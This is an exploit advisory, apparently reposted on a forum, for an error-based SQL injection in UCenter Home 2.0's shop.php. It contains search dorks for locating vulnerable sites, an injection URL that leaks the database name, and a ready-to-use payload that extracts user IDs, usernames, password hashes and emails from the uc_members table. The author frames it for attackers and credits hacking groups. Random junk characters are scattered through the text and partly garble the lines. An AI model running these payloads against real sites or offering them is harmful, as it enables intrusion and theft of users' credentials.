! L3 h+ O3 }! ~& I2 R6 s__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ ^8 a) _0 T/ Z, L2 U5 f$ e
: n+ C) g* J4 p. s8 _
+ p' e! V7 G4 d
3 r- `7 O7 J, j6 w$ I% F7 `
*/ Author : KnocKout 8 W# {) X& }: K) o- o4 O
- H# ^+ y9 q3 A) h- I: h" z5 B& S' C*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers
1 F/ c B1 Y- s. s$ J1 X
9 b A [' \& D! i$ Z$ _*/ Contact: knockoutr@msn.com
$ v. i/ p8 ?5 x( J5 g5 g% X; a2 s, b: j% h
*/ Cyber-Warrior.org/CWKnocKout - X1 u' q: w6 x/ l
4 u) L L1 G& k" f7 f j& J8 ^
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
- H$ V- Q4 f. j. n' u
, [1 Z. @+ T7 q8 ]! qScript : UCenter Home 7 N% w& Q) B% c! r! z+ w" W
* _8 X# j$ Z; W! Z; p' B, B& C& UVersion : 2.0
8 ~2 m% G7 O1 x4 H# q Q8 v7 F2 d6 ^: e; D
Script HomePage : http://u.discuz.net/
- {# N; l! M9 ]* a& S! P
# D) ]# u8 K3 c__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 4 q L# Q7 v* B9 s1 |+ \8 [
7 k5 [( j: W6 x, ?9 i o7 I
Dork : Powered by UCenter inurl:shop.php?ac=view 2 ~5 W2 H) x3 s6 R% e4 O: ]
& [8 @3 @) R- F+ [( L" I; X+ DDork 2 : inurl:shop.php?ac=view&shopid=
^" O! z5 n7 N6 e/ o6 d* Q0 s5 ~# b& N& h* u
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
2 }; J# t$ j( x: Y% h8 G; Y+ j$ n7 B2 X; T8 q, J$ f2 }8 L
Vuln file : Shop.php # M' J# s) B ^* c1 `, ~& \6 _! c! i
! f& P: O5 H3 m8 A/ l! Y
value's : (?)ac=view&shopid= & M/ h3 Z/ ^7 A6 C; Y
& v# ~7 w& b9 u, T6 v Q' `
Vulnerable Style : SQL Injection (MySQL Error Based) % m, m% J- S9 i% G& \
6 s8 ]# @2 d% B( s
Need Metarials : Hex Conversion ' G/ N6 q4 T+ ~2 f
" M& W1 A; G1 J$ G. m8 Q__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
J0 m8 z) _& t! a. |; C- c% M! b# X# ]/ A, l4 A+ Q2 ~
Your Need victim Database name. " Z* G& Z) L3 d4 g4 F9 X1 ^# _
3 H6 p4 {$ t- ^# [
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 & B$ D- q& P6 z: w
" Q$ p' c7 A* l- J8 ^/ X/ l
..
) u( ` c S6 D [) L/ F+ ?8 t- e1 R- g+ w0 n/ \$ x
DB : Okey. 9 @4 l- ^3 c$ B0 d
5 r% v2 y' Q/ Q( B( L1 iyour edit DB `[TARGET DB NAME]` / n5 ], Z! m* }' m# X2 Q
) t; e# ~, s: c
Example : 'hiwir1_ucenter'
/ h4 R" A* G# o/ t( d! E; g0 b4 X8 Y6 J, G. x; N9 L( G: o
Edit : Okey. 4 }1 E0 L$ h1 }& U% J: }
/ ~8 I$ X4 |' e
Your use Hex conversion. And edit Your SQL Injection Exploit.. ' O1 S4 A( ^9 u* k% L( [ |
/ P# T8 r7 O! D( C4 U! P
7 L/ |! v3 q1 H) |# B4 T
+ z/ V. f* @, ~( i" ]Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 1 Z X( O* @2 i( ]# ]
|
发表于 2013-2-27 21:31:31
收藏
支持
反对